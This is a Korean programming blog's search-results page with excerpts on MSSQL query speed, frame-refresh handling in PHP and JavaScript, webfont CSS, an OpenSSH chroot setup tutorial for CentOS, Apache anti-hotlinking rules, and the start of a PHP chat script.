Search Results for '프로그래밍'
1208 posts related to '프로그래밍'
- 2011/03/26 [MSSQL] 날짜 비교로 대량 데이터 처리
- 2011/03/20 NHN 웹 표준화 가이드
- 2011/03/06 [웹브라우저]프레임(frame) 새로고침(리프레쉬, refresh)할 때 페이지 유지하기
- 2011/03/06 프레임 내에서 F5 누르면 현재화면 그대로 새로고침되기
- 2011/03/06 웹폰트가 그립습니까? 여기 방법이 있습니다.
- 2011/03/06 OpenSSH chroot 설정
- 2011/03/06 아파치 웹서버 사용 시 무단 링크 방지법
- 2011/03/06 파일형 체팅물 알고리즘입니다. [100% 안정성 보장]
- 2011/03/06 [함수] JPEG EXIF 정보 얻는 함수(read_exif_data 사용 안함)
- 2011/03/06 iframe 높이 자동조절 스크립트
- 2011/03/06 [함수] - [ ASP ] utf-8에서 urldecode 하기
- 2011/03/06 smtp with gmail
- 2011/01/27 서브버전(Subversion) 윈도우 서버 설치
- 2011/01/27 JavaScript 웹 브라우저 버전 체크 및 Javascript 버젼 체크
- 2011/01/27 jquery , prototype 충돌 방지 (같이 사용하는 방법)
- 2011/01/27 input type file 버튼 모양변경
- 2011/01/27 캐시(Cache) 제거 / 기타 정보
- 2011/01/27 터미널 2003 접속 정보(RDP File Settings)
- 2011/01/27 터미널 서비스의 접근 제어를 위해 포트 번호를 변경
- 2011/01/27 ASP 트로이잔 Webshell의 예방 및 문제해결방법
- 2011/01/27 윈도우에서 구동되는 포트번호
- 2011/01/27 SQL Injection 해킹 관련 자료, zxarps.exe Cain & Abel 등
- 2011/01/27 wmt에 대한 유용한 팁
- 2011/01/27 ASP 웹쉘 상세 분석 및 탐지 방안
- 2011/01/27 윈도우 보안 총정리
- 2011/01/27 MS SQL Server 2008 Express Edition 설치하기.
- 2011/01/10 테스트 환경에 SharePoint Server 2010 배포
- 2010/12/10 [보안] 스팸 방지 대책, DomainKeys 설정.
- 2010/11/28 Windows 7 및 Windows Vista 에 SharePoint Server 2010 설치 방법
- 2010/11/27 Windows Server 2008 시스템 암호 복잡성 설정하기
group by를 쓸 때도 마찬가지구요.
근데 별로 느릴 거 같지 않은 쿼리가 느리기에
혹시나 하고 year(regdate)+right('0'+month(regdate),2) 이런 식으로 바꿨더니
속도가 확~ 빨라지네요.
9~11초 걸리던 쿼리가 1초로 바뀌네요.
필요하신 분들 많았으리라 봅니다. ;;
전부터 PHP를 이용해 만든 프레임 페이지에서 브라우저의 refresh 버튼을 누를 때
현재 보고 있는 페이지가 아니라 src=''로 정해줬던 페이지가 뜨는 걸 보고
브라우저가 html 페이지와 php 페이지 간에 뭔가 차이를 느낀다고 생각해 왔는데..
뭐 전에는 별 필요성을 못 느꼈기 때문에 + 귀찮아서 그냥 두었다가
'XXXX XX를 위한 것인데 대충 만들 수 없다'는 자세로 6^_^;;
Q&A나 Tip&Tech를 좀 찾아봤더니..
아무도 답변이 없었더군요. ㅡoㅡ;
-----------------------------------------------------------------------------
$LastModified = gmdate("D d M Y H:i:s", filemtime($HTTP_SERVER_VARS[SCRIPT_FILENAME]));
header("Last-Modified: $LastModified GMT");
header("ETag: "$LastModified"");
-----------------------------------------------------------------------------
보시면 뭔지 금방 아시겠죠? ^_^
복사해다가 프레임 생성하는 파일의 맨 위에 넣으시면 됩니다.
다른 브라우저는 확인 안 해 봤고.. 익쑤뿔로러만.. 확인했습니다.
'자동으로', '페이지를 열 때마다' 모두 잘 되는군요.
일반 html 문서와 비교해 볼 때 (일반적으로) PHP가 뿌려주는 내용은
html content 부분은 똑같지만, header의 Last-Modified 의 시각이 매번 달라집니다.
(사실 아예 없습니다. -_-;;; 원래 동적인 resource니까 당연하지요.)
따라서 PHP에서 header에 Cache-Control을 최대로 잡아줘도
새로 받아온 수정 시각을 바탕으로 frame 전체를 새로고침하는 것으로 보입니다.
그래서 PHP 역시 header에 파일의 실제 수정 시각을 넣어주도록 하였습니다.
ETag는 HTTP/1.1 문서에 있길래 넣어봤습니다.
The entity tag MAY be used for comparison with other entities from the same resource.
그럼~ 좋은 하루 되세요~ ^_^/"
않도록 하는 것이 제일 좋은 방법이겠지만..
서버에 손을 댈 수 없을 경우에는 큰 도움이 될 것 같군요
===============================================================================================
프래임 사용하여 URL 링크 없에고 주소만 표시하게 하려고 하는경우..
F5누르면 현재화면 유지 안되고 INDEX 로 가더라고요.. . 그래서.. 한번해봤어여..;;
이게 팁이 될지는 모르겠지만.. 한번 남겨봐요. 많은 조언부탁 드립니다.
<script language="JavaScript">
document.onkeydown = function() {
if (event.keyCode == 116) {
event.keyCode = 505;
}
if (event.keyCode == 505) {
location.reload();
return false;
}
}
</script>
하지만 웹개발자는 너무나 슬플 수밖에 없는게 바로 IE에서만 지원한다는거.
그래서 아예 웹폰트 쓰지 말자는 웹표준 프로그래머들의 목소리가 높아지는 가운데...
하지만, CSS3가 아직 확정도 안된다는 제안 중 TTF 파일을 지원하는 브라우저가 속속 등장하였으니... 이제 웹폰트의 갈망을 씻어 던지긴 개뿔 저작권 문제는 아직도 난항.
어쨌든, IE는 뭐 상관없고 최신 브라우저를 사용한다면 웹폰트를 사용하고자 하는 갈망을 씻어낼 수 있는 좋은 기회가 될 것입니다.
네. 최신 브라우저입니다. 단, IE는 빼고.
IE는 4 이상이면 됩니다. 하지만...
Firefox 3.5 이상,
Opera 10 이상,
Safari 3.1 이상,
크롬은 아직 지원안되고 대신 베타 3에서 수줍게 지원.
흠.. 근데 여기 님들중에 브라우저 옛버전을 고수하는 분은....응?
어쨌든, 본론으로 들어가서, 웹폰트를 설정하게 해드립니다.
잘 알려진 무료 폰트인 엔터 튤립체로 그 예를 들어봅니다.
@font-face {
/* IE를 위한 배려는 개뿔 제일 귀찮아. */
font-family:TULIP09;
src: url('typoenter_090201_TULIP09.ewf');
/* 그외 브라우저는 TTF 파일 정하고 포멧 정의해야. */
src: local('TULIP09'),
url(typoenter_090201_TULIP09.ttf) format('truetype');
}
body div{font:9pt TULIP09,gulim,sans-serif;}
IE의 경우는 뭐 많이들 널리고 널린 경우니까 설명은 구찮아서 패스.
비IE의 경우는 먼저 글꼴 이름을 클라이언트 컴퓨터에서 불러옵니다.
만약에 없다면, 서버에서 TTF 파일을 불러오죠. 그럼 끝입니다. 참 쉽죠~잉.
근데.. 문제는 이쇼키는 IE에서 굵게는 지원되지만 그 외에서는 지원 안해줍니다.
그래서 굵게 표시되는 글꼴을 또 따로 정의해 줘야 하죠.
@font-face {
font-family: 'Droid Sans';
src: local('Droid Sans Bold'),
local('Droid Sans-Bold'),
url('/shared/fonts/DroidSans/DroidSans-Bold.ttf') format('truetype');
font-weight: bold;
}
이런 식으로요. 하지만 예제에 사용한 엔터튤립은 따로 굵게 표시하는 글꼴이 없어서 안타깝게도 굵게 표시하는건 물건너갔군요..
결국 팁을 줘도 욕먹는 케이스가 되겠습니다. 응?
어쨌든, 뭐 어느정도 웹폰트에 대한 욕구는 씻을 수 있지만, 뭔가 2% 부족한 이런..
흠.. 아직 확정이 되고 어느정도 자리가 잡혀야지 크로스 브라우저에 대한 웹폰트가
성행될 것 같은게 그걸 어느천리에 기다려.................................
링크 #1은 제 팁의 원문이 되겠으며, 라이센스 또한 원문에 따릅니다.
그리고 링크 #2는 제가 직접 엔터튤립체를 사용해 테스트해본 페이지입니다.
P.S 아놔 EWF라는 듣보잡 확장자가 IIS에 걸려가지고 MIME 헤더 등록으로 겨우 해결.(IIS 7.5)
chroot jailkit에 대해선 제대로 번역된 포스트도 없고 해서 OpenSSH 5.x에 chroot 거는 방법을 소개합니다.
사실 OpenSSH 자체에는 해주는 작업이 거의 없습니다. 퍼미션 관련한 설정이 손이 더 많이 가더군요.
운영하고 있는 http://hosting.digimoon.net 에 실제 적용하고 있는 방법입니다. 많은 도움이 되었음 하는 바입니다.
스쿨은 웹에디터 인터페이스 좀 제공해 줬음 좋겠습니다.
원문을 보시는 게 편합니다.
원문 : http://www.digimoon.net/blog/343
무료 웹호스팅을 하면서 늘 아쉬웠던 점이 일반사용자들에게 SSH/SFTP를 개방하기 힘들다는 점이었습니다.
SSH/SFTP를 통해 일반사용자 권한으로 쉘에 들어오면 '/' 디렉토리 하단으로 디렉토리 이동이 자유롭기에 서버관리자만이 드나들며 관리해야 할 영역이 너무 쉽게 노출이 된다는 점 때문이죠.
vsftpd, proftpd 등과 같이 ftp 서버 데몬의 경우는 환경설정파일에 간단하게 옵션 몇 줄만 추가해 주면 데몬 차원에서 상위 디렉토리 이동을 막을 수 있기에 FTP 서비스를 하는 경우는 크게 문제될 점이 없지만 일반사용자에게 쉘 접근권한을 주는 것은 안전장치를 마련해 놓지 않는 이상은 구현하기 어렵지는 않다 하더라도 다소 복잡한 설정이 필요하게 됩니다.
SSH서버 데몬으로 널리 쓰이는 오픈소스인 OpenSSH의 경우 종전까지는 기본으로 chroot 기능을 지원하지 않아 chroot 프로젝트를 통해 나온 소스포지(http://sourceforge.net)에서 제공하는 패치 버전을 통해서만이 가능하였으나 OpenSSH 4.8p1 버전부터는 chroot 기능을 자체적으로 지원하기 시작하였습니다. 본 문서에서는 OpenSSH 5.x 버전을 이용한 chroot 구현 방법에 대해 소개합니다.
CentOS 5.x 64bit에서의 설치 및 설정 방법에 대해 설명합니다.
1. telnet-server 설치 및 설정, 기존 OpenSSH 삭제
우선 chroot를 지원하지 않는 기존의 OpenSSH를 삭제해야 합니다. OpenSSH를 삭제하게 되므로 원격지에서 작업할 때엔 반드시 telnet과 같은 예비 접속 통로를 미리 마련해 놓고 작업을 시작하도록 합니다.
OpenSSH를 삭제하기 전에 telnet으로 원격 접속 수단을 먼저 마련합니다.
telnet-server가 설치되어 있는지 확인합니다.
[root@localhost /usr/local/src]# rpm -qa | grep telnet-server
없으면 설치하고 xinetd 수퍼데몬으로 구동, iptables에 tcp 23번 포트를 열어줍니다.
[root@localhost /usr/local/src]# yum -y install telnet-server
[root@localhost /usr/local/src]# cat /etc/xinetd.d/telnet
# default: on
# description: The telnet server serves telnet sessions; it uses \
# unencrypted username/password pairs for authentication.
service telnet
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
disable = no <- 기존 yes를 no로 수정합니다.
}
[root@localhost /usr/local/src]# /etc/init.d/xinetd restart
xinetd 를 정지 중: [ OK ]
xinetd (을)를 시작 중: [ OK ]
[root@localhost /usr/local/src]# netstat -ntlp | grep xinetd
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 1685/xinetd
[root@localhost ~]#iptables -I INPUT -p tcp --dport 23 -j ACCEPT
[root@localhost /usr/local/src]# iptables -nL | grep 23
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:23
[root@localhost /usr/local/src]#
이제 telnet으로 접속한 뒤 기존의 OpenSSH를 삭제합니다.
[root@localhost ~]# yum -y remove openssh
2. OpenSSH 5.x 설치
이제 새로운 OpenSSH를 설치해 보도록 하겠습니다.
소스컴파일로 설치하는 방법은 인터넷에 수두룩하니 여기선 rpm으로 설치하는 방법을 다루겠습니다.
srpm 파일을 받습니다. CentOS 5.x의 경우 2009년 11월 5일 현재 미러서버에서 아직까지도 5.x 버전의 rpm을 제공하지 않고 있군요. 하는 수 없이 페도라용 srpm을 받아 CentOS용으로 리빌드하여 설치해 보겠습니다.
다행히 페도라10의 OpenSSH 5.1p1-4 srpm은 CentOS 5.4와 라이브러리 충돌 없이 궁합이 맞는군요.
[root@localhost ~]# wget ftp://rpmfind.net/linux/fedora/updates/testing/10/SRPMS/openssh-5.1p1-4.fc10.src.rpm
[root@localhost ~]# rpm -ivh openssh-5.1p1-4.fc10.src.rpm
[root@localhost ~]# cd /usr/src/redhat/SPECS/
[root@localhost SPECS]# ls -lh
합계 108K
-rw-r--r-- 1 mockbuild mockbuild 24K 11월 2 19:31 dovecot.spec
-rw-r--r-- 1 mockbuild mockbuild 17K 5월 19 21:22 iptables.spec
-rw-r--r-- 1 root root 0 10월 30 00:02 kernel.spec
-rw-r--r-- 1 mockbuild mockbuild 50K 6월 30 20:50 openssh.spec
-rw-rw-r-- 1 root root 6.6K 5월 19 2008 pptp.spec
[root@localhost SPECS]#
리빌드해 보니 아래와 같이 의존성 에러를 내뿜는군요.
[root@localhost SPECS]# rpmbuild -ba openssh.spec
오류: Failed build dependencies:
gtk2-devel is needed by openssh-5.1p1-4.i386
audit-libs-devel is needed by openssh-5.1p1-4.i386
tcp_wrappers-devel is needed by openssh-5.1p1-4.i386
libedit-devel is needed by openssh-5.1p1-4.i386
[root@localhost SPECS]#
위 의존성 에러 결과는 시스템에 따라 다를 수 있습니다. 어쨌든 gtk2-devel, audit-libs, tcp_wrappers-devel, libedit-devel 패키지를 yum으로 설치합니다.
tcp_wrappers-devel, libedit-devel는 yum으로 설치 안 되는군요. 어쩔 수 없이 spec 파일을 직접 수정하여 관련된 설정 부분을 주석처리하거나 삭제하도록 합니다.
vi 편집기로 tcp_wrappers-devel, libedit-devel 라는 문자열이 들어가는 부분을 모두 삭제하고 페도라10에 포함된 pam-1.0.1-3 버전을 찾는 문제를 해결하기 위해 CentOS 5.x의 pam-0.99.6.2을 찾도록 수정한 spec 파일 견본을 첨부합니다. spec 파일 편집이 어려운 분들은 그대로 가져다 쓰시면 되겠습니다.
openssh.spec
빌드하고 /usr/src/redhat/RPMS/x86_64 디렉토리 안으로 들어가면(32bit의 경우 /usr/src/redhat/RPMS/i386) rpm 파일이 생성되어 있는 것을 확인할 수 있습니다.
[root@localhost SPECS]# rpmbuild -ba openssh.spec
[root@localhost /usr/src/redhat/SPECS]# cd /usr/src/redhat/RPMS/x86_64/
[root@localhost /usr/src/redhat/RPMS/x86_64]# ls -lh
합계 8920
drwxr-xr-x 2 root root 4096 11월 5 09:29 ./
drwxr-xr-x 4 root root 4096 9월 4 09:25 ../
-rw-r--r-- 1 root root 1765164 11월 2 19:14 dovecot-1.0.7-7.x86_64.rpm
-rw-r--r-- 1 root root 4037311 11월 2 19:14 dovecot-debuginfo-1.0.7-7.x86_64.rpm
-rw-r--r-- 1 root root 316357 11월 5 09:29 openssh-5.1p1-4.x86_64.rpm
-rw-r--r-- 1 root root 41130 11월 5 09:29 openssh-askpass-5.1p1-4.x86_64.rpm
-rw-r--r-- 1 root root 510589 11월 5 09:29 openssh-clients-5.1p1-4.x86_64.rpm
-rw-r--r-- 1 root root 2100357 11월 5 09:29 openssh-debuginfo-5.1p1-4.x86_64.rpm
-rw-r--r-- 1 root root 307443 11월 5 09:29 openssh-server-5.1p1-4.x86_64.rpm
[root@localhost /usr/src/redhat/RPMS/x86_64]#
설치합니다.
[root@localhost /usr/src/redhat/RPMS/x86_64]# rpm -Uvh openssh-*
3. chroot 설정을 위한 /etc/ssh/sshd_config 수정
/etc/ssh/sshd_config 파일 최하단에 아래 설정을 추가하거나 기존 설정을 수정하고 sshd를 시작합니다.
Subsystem sftp internal-sftp
Match Group chrootgroup
ChrootDirectory /chroot
※ Match Group과 ChrootDirectory 옵션의 순서가 서로 뒤바뀌지 않도록 합니다.
위 설정에 의하면 시스템 최상위 경로에 /chroot 라는 디렉토리를 만들어 일반 계정의 쉘환경을 /chroot 에 국한시키는 겁니다. /chroot 디렉토리 하단에 bin, dev, usr, etc 등의 디렉토리를 동일하게 복사해 집어 넣고 home 디렉토리도 만들어 넣어 기존 home 사용자들은 /chroot/home에 위치시키면 됩니다.
그러나 /chroot/home으로 몽땅 이동시키려면 아파치 버추얼호스트 설정도 모두 변경해 주어야 하고 /etc/passwd 파일에 기록된 계정 홈디렉토리 정보도 모두 수정해야 하는 번거로움이 있기 때문에 아래와 같은 방법으로 간단하게 해결할 수 있습니다.
기존 /home 디렉토리를 /chroot/home 디렉토리에 바인딩 마운트시키면 간단하게 해결됩니다.
[root@localhost ~]# mkdir -p /chroot/home
[root@localhost ~]# mount --bind /home /chroot/home
시스템 시작시 자동으로 마운트되도록 /etc/rc.d/rc.local 파일에 마운트 커맨드를 추가해 줍니다.
[root@localhost ~]# echo "mount --bind /home /chroot/home" >> /etc/rc.d/rc.local
이제 chroot를 적용할 시스템 계정의 그룹 소유권을 chrootgroup으로 변경합니다. chrootgroup이라는 이름의 그룹은 아까 /etc/ssh/sshd_config 파일에 추가한 Match Group 옵션에 지정해 준 그룹명으로 지정하는 것입니다.
/etc/passwd 파일을 열어 GID 부분을 chrootgroup 그룹의 GID로 수정하면 됩니다. asdf 라는 계정이 있다고 가정하고 작업해 보겠습니다.
[root@localhost ~]# groupadd -g 499 chrootgroup
[root@localhost ~]# cat /etc/passwd | grep asdf
asdf:x:998:499::/asdf:/bin/bash
[root@localhost ~]#
4. 시스템 바이너리, 라이브러리 및 환경설정 파일 복사
이제 제한된 쉘에서 사용을 허용할 시스템 커맨드 세팅을 위해 앞서 언급했던 /chroot 디렉토리 하단에 bin, dev, usr, etc 관련 시스템 디렉토리 및 파일을 복사해 넣는 작업을 해주면 됩니다.
[root@localhost ~]# cd /chroot
[root@localhost ~]# mkdir bin dev etc lib tmp usr
우선 null, zero와 같은 특수파일을 만들어 줍니다.
[root@localhost ~]# mknod dev/null c 1 3
[root@localhost ~]# mknod dev/zero c 1 5
실행 바이너리와 이에 연관된 각종 라이브러리를 복사해 넣어줍니다. 작업 요령은 간단합니다.
우선 시스템 커맨드 중 하나인 cp를 예로 들어보겠습니다.
cp 커맨드의 절대 경로는 아래와 같네요.
[root@localhost ~]# which cp
/bin/cp
[root@localhost ~]#
ldd 커맨드로 바이너리 실행에 필요한 라이브러리를 파악할 수 있습니다.
[root@localhost ~]# ldd /bin/cp
linux-gate.so.1 => (0xb7fa8000)
libacl.so.1 => /lib/libacl.so.1 (0x48d0d000)
libselinux.so.1 => /lib/libselinux.so.1 (0x48968000)
libc.so.6 => /lib/libc.so.6 (0x477c0000)
libattr.so.1 => /lib/libattr.so.1 (0x48d06000)
libdl.so.2 => /lib/libdl.so.2 (0x47906000)
libsepol.so.1 => /lib/libsepol.so.1 (0x48982000)
/lib/ld-linux.so.2 (0x477a2000)
[root@localhost ~]#
위에 출력된 내용을 참고하여 관련 라이브러리 원본 및 심볼릭링크 파일을 복사해 넣어주면 됩니다.
/lib/libacl.so.1 은 /chroot/lib/libacl.so.1 로 복사하면 되는 것이죠.
5. 실서비스를 위한 세부 설정
그러나 여기까지 작업을 마쳐도 실질적으로 chroot 환경의 ssh 서비스를 하기에는 미흡합니다.
지금까지의 설정만으로는 제한된 쉘을 이용하는 일반 사용자들이 /chroot 로 가두어진 쉘을 이용한다 하더라도 다른 계정 사용자들의 홈디렉토리로는 마음대로 이동이 가능하다는 단점이 남게 됩니다. 이는 chroot 설정으로 가두어진 쉘을 이용하는 모든 계정들을 하나의 그룹으로 묶고 각 계정 홈디렉토리의 그룹 퍼미션을 0으로 만들면 해결할 수 있습니다.
그러므로 /etc/ssh/sshd_config 파일에 정의했던 Match Group chrootgroup 옵션에 따라 /chroot/home 안의 사용자들은 모두 chrootgroup에 속하게 하고 각 계정 홈디렉토리 안의 모든 디렉토리와 파일의 그룹 퍼미션을 0으로 만들면 되겠죠. 이렇게 하면 chrootgroup 그룹에 속한 모든 계정은 오직 자신의 계정 디렉토리 내용만 읽기 및 쓰기, 실행이 가능하고 타 계정 사용자의 홈디렉토리는 접근 자체가 불가능하게 됩니다.
우선 /chroot/home 하단의 모든 디렉토리 및 파일의 그룹 소유권을 chrootgroup으로 변경합니다. 아파치 웹서버의 경우 웹게시판 등을 통해 웹상에서 첨부파일로 업로드된 데이터나 nobody 소유권이어야 정상 작동하는 웹소스의 경우 nobody 소유권을 그대로 유지하여야 하므로 무작정 일괄 변경해서는 안됩니다.
[root@localhost ~]# find /chroot/home \( ! -user nobody -o ! -group nobody \) -exec chown .chrootgroup {} \;
그리고 아래와 같이 명령을 내려 /chroot/home 하단의 chrootgroup에 속한 모든 계정의 디렉토리와 파일의 그룹퍼미션을 0으로 만듭니다.
[root@localhost ~]# find /chroot/home -group chrootgroup -exec chmod g-w-r-x {} \;
그렇게 해서 설정한 /chroot 하단의 디렉토리 및 파일의 소유권 및 퍼미션 구성도를 정리하면 아래와 같습니다.
[root@localhost /]# ls -lh / | grep chroot
drwx--x--x 9 root chrootgroup 4.0K 11월 6 01:07 chroot
drwx--x--x 3 root chrootgroup 4.0K 11월 6 01:15 home
[root@localhost /]# ls -lh /chroot
drwx--x--x 2 root root 4.0K 7월 30 12:43 bin
drwx--x--x 2 root root 4.0K 6월 3 18:07 dev
drwx--x--x 4 root root 4.0K 11월 6 01:25 etc
drwx--x--x 3 root root 4.0K 11월 6 01:15 home
drwx--x--x 2 root root 4.0K 7월 28 11:20 lib
drwxrwxrwt 4 root root 1.0K 11월 6 01:14 tmp
drwx--x--x 9 root root 4.0K 6월 8 01:56 usr
[root@localhost /]# ls -lh /chroot/home
drwx---r-x 3 one chrootgroup 4.0K 11월 6 01:22 one
drwx---r-x 3 two chrootgroup 4.0K 11월 6 01:22 two
drwx---r-x 3 three chrootgroup 4.0K 11월 6 01:22 three
[root@localhost /]#
이제 타 계정 홈디렉토리로 이동하려 하면 퍼미션 금지 에러가 뜨는 것을 확인할 수 있을 것입니다.
※ 위에 소개한 소유권/퍼미션 일괄 변경 방법은 시스템에 따라 돌이킬 수 없는 사태를 야기할 수 있으므로 맹목적으로 무작정 따라하지 마시길 바랍니다. 될 수 있으면 find 커맨드 바로 뒤의 경로 설정을 최소한도로 국한시켜가며 차근차근 테스트하며 진행하시길 바랍니다.
이제 root가 아닌 일반계정으로 ssh에 접속하여 시스템 최상위 경로로 이동해 보면 /가 아닌 /chroot 경로에 가두어진 쉘환경임을 확인할 수 있습니다.
그리고 기존의 데이터 뿐만이 아닌 앞으로 쉘상에서 새롭게 생성할 계정도 그룹 퍼미션 환경을 0으로 만들어줄 필요가 있겠죠.
새롭게 생성할 계정 GID를 모두 chrootgroup으로 지정하고 UMASK 설정을 통해 그룹퍼미션을 제거합니다.
[root@localhost ~]# cat /etc/default/useradd
# useradd defaults file
GROUP=499
HOME=/home
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
CREATE_MAIL_SPOOL=yes
[root@localhost ~]# cat /etc/login.defs | grep UMASK
UMASK 072
이젠 일반사용자들이 쉘에 접속했을 때 처음 만나게 되는 프롬프트 모양을 결정지으며 원활한 커맨드 및 편집기 사용을 위한 일반사용자 전용의 쉘 환경변수를 새롭게 정의해 줄 필요가 있습니다. chroot 환경의 쉘에 접속하는 일반 사용자는 /chroot/etc/bashrc 파일의 설정을 지배받게 되므로 이를 적절히 수정하면 됩니다. /etc/bashrc 파일을 복사해와 편집기로 열어 상단 부분을 한 번 보겠습니다.
[root@localhost ~]# cp /etc/bashrc /chroot/etc/
[root@localhost ~]# head -n 13 /chroot/etc/bashrc
# /etc/bashrc
# System wide functions and aliases
# Environment stuff goes in /etc/profile
# By default, we want this to get set.
# Even for non-interactive, non-login shells.
if [ $UID -gt 99 ] && [ "`id -gn`" = "`id -un`" ]; then
umask 002
else
umask 022
fi
붉은색으로 표시한 스크립트 조건문에 의하면 UID가 99보다 크면서 UID와 GID 값이 같은 경우 umask 002를 적용하고 그 외의 경우는 022를 적용하라는 의미입니다.
/etc/passwd 파일에서 UID가 99인 사용자를 확인하면 nobody이죠.
nobody보다 UID가 크면서 UID와 GID값이 같은 계정은 useradd 커맨드로 생성하는 /home 아래의 일반사용자들의 경우가 대표적입니다 결국 root나 일반계정으로 bash 쉘에 로그인 후 디렉토리나 파일을 생성하면 별다른 이유가 없는 한 umask 002를 적용하게 되는 것입니다.
그러나 본 문서의 ssh chroot 적용 방법이라면 /etc/passwd, /etc/group, /etc/shadow 파일을 /chroot/etc 안에 복사해 넣을 필요가 없고 쉘상에서 UID나 GID를 확인하는 데에 관계되는 커맨드나 환경설정 파일도 없기 때문에 /chroot/etc/bashrc 파일 상에서의 위 설정 내용은 수정이 필요합니다.
답은 간단합니다. 위 붉은색 부분을 삭제하고 아래 한 줄로 대신하면 됩니다.
umask 072
어차피 chrootgroup으로 묶은 일반사용자들만 chroot로 제한된 쉘에 접속할 것이기 때문에 쉘스크립트의 조건문 등으로 예외 상황을 가정할 필요 없이 위의 단 한 줄 만으로 umask를 선언하면 되는 것입니다.
하단부의 불필요한 부분도 모두 제거하여 최적화시킨 bashrc 파일의 내용은 아래와 같습니다.
[root@localhost:/chroot/etc]# cat /chroot/etc/bashrc
# /etc/bashrc
# System wide functions and aliases
# Environment stuff goes in /etc/profile
# By default, we want this to get set.
# Even for non-interactive, non-login shells.
umask 072
# vim:ts=4:sw=4
alias vi='vim'
alias grep='grep --color=auto'
alias ll='ls -alhF --color=tty --show-control-chars'
alias mysqldump='/usr/local/mysql/bin/mysqldump'
alias mysql='/usr/local/mysql/bin/mysql'
PS1="\[\033[1;31m\][SSH:\w]$ \[\033[0;37m\]"
붉은색으로 굵게 표시한 부분은 프롬프트 형태를 결정짓는 변수값으로 딱히 정해진 방법이 있는게 아니니 입맛에 맞게 수정해서 사용하면 됩니다.
ssh 로그인 시 뜰 안내문은 /chroot/etc/motd 파일로 설정하면 됩니다.
[root@localhost:/chroot/etc]# cat motd
▒▒▒▒▒ Welcom to foobar.com !!! ▒▒▒▒▒
지금 접속하신 쉘은 실제 사용할 수 있는 커맨드가 대폭 제한된 환경입니다.
디렉토리 생성 및 삭제, 계정 백업 및 복구를 위한 기능에만 초점이 맞추어진
환경이므로 리눅스/유닉스 학습을 위한 수단으로는 사용이 사실상 불가능합니다.
※ 사용 가능 커맨드
cat chmod cp grep gunzip gzip ls ll mkdir mv mysql mysqldump rm tar vi zip unzip pwd
mysql을 운영하는 경우 일부 mysql 쉘커맨드 중 /tmp/mysql.sock을 참고하게 되는데 chroot 환경의 쉘에서도 사용하려면 /chroot/tmp에도 mysql.sock를 위치시켜야 합니다. 바인딩 마운트로 해결 가능합니다.
[root@localhost:~]# chmod 1777 /chroot/tmp
[root@localhost:~]# mount --bind /tmp /chroot/tmp
시스템 시작시 자동으로 적용되도록 /etc/rc.d/rc.local 파일에 커맨드를 추가합니다.
[root@localhost:~]# echo "mount --bind /tmp /chroot/tmp" >> /etc/rc.d/rc.local
이렇게 설정한 각종 시스템 디렉토리 및 파일들의 변조를 원천 봉쇄하기 위해 chattr 커맨드로 수정/복사/삭제 속성을 제거합니다. 이렇게 하면 그나마 chroot 환경의 쉘에 들어와서 뻘짓을 감행하려는 시도조차 불가능해집니다.
[root@localhost:~]# chattr +i -R /chroot/lib
[root@localhost:~]# chattr +i -R /chroot/usr
[root@localhost:~]# chattr +i -R /chroot/etc
[root@localhost:~]# chattr +i -R /chroot/bin
[root@localhost:~]# chattr +i -R /chroot/dev
이 외에도 세밀하게 설정해야 할 부분들이 여럿 있을 수 있습니다. 특히 vi 편집기와 관련된 환경설정파일과 라이브러리와 관련된 디렉토리 및 파일 설정이 처음 시도하는 분들께는 다소 까다로운 작업이 될 수 있겠습니다. 검색 신공만이 답이겠죠. 저 같은 경우는 chroot 설정을 해보면서 쉘을 구성하는 환경설정 파일들에 대해 좀 더 깊은 이해를 할 수 있었습니다. 쉘스크립트에 대해서도 기초적인 이해의 필요성을 새삼 깨닫게 해준 보람된 작업이었다고나 할까요? 암튼 이 문서가 chroot 설정을 시도하려는 분들께 조금이나마 도움이 되었음 하는 바입니다.
SetEnvIF Referer "^http:\/\/도\.메\.인" pass
SetEnvIF Referer "^http:\/\/(www\.)?google\." pass
<FilesMatch "\.([^php]+)$">
order deny,allow
deny from all
allow from env=pass
ErrorDocument 403 /
</FilesMatch>
<FilesMatch "허용할파일명.확장자$">
order allow,deny
allow from all
</FilesMatch>
---------------------------------------------------------------------
다운로드1 | |||||
Link1 | http://yangws.myfeelclub.com/pass/msg.php (741) | ||||
파일형 체팅물 버그 다고친 알고리즘입니다. 송효진님의 봇알고리즘을 변형한 프로텍션함수도 포함되어있습니다. 송효진님 , 칼솜님 , 공대여자는이쁘다님 의 라이센스가 붙여져있습니다. - 결재 : ???원 송효진님 칼솜님 공대여자는이쁘다 세분모두를 사랑하셔야 사용하실수있습니다. 아래는 더하고뺄꺼없는 소스이며, 링크1번을통해 테스트하실수있습니다. 자료받기로 받아가세요. <? session_start(); ######################################################################################################################## $ajaxtime = 1250; //ajax를 흉내낸 PHP 의 알아낼 시간 간격입니다. 다량트래픽이 유발될경우 값을 높여주십시오.(단위 : 밀리초) $height = 400; //채팅창(내용) 부분의 높이 - 단위 : px (pixel) $color = "#000000"; //채팅방 전체의 배경색깔 * $fontcolor = "white"; //글꼴 색깔 * $fontsize = 9; //글꼴 크기 - 단위 : pt (point) $font = "Gulim"; //글꼴 $delif = 300; //일정 줄 수가 도달하면 초기화 $adtime = 100000; //광고가 뜰 확률입니다. 1부터 입력이 가능합니다. 1에 가까운 숫자일수록 뜰 확률이 높아집니다. 자동조정은 0 입력! $deny="fuck,FUCK,FUCKYOU,fuckyou,fuck you,FUCK 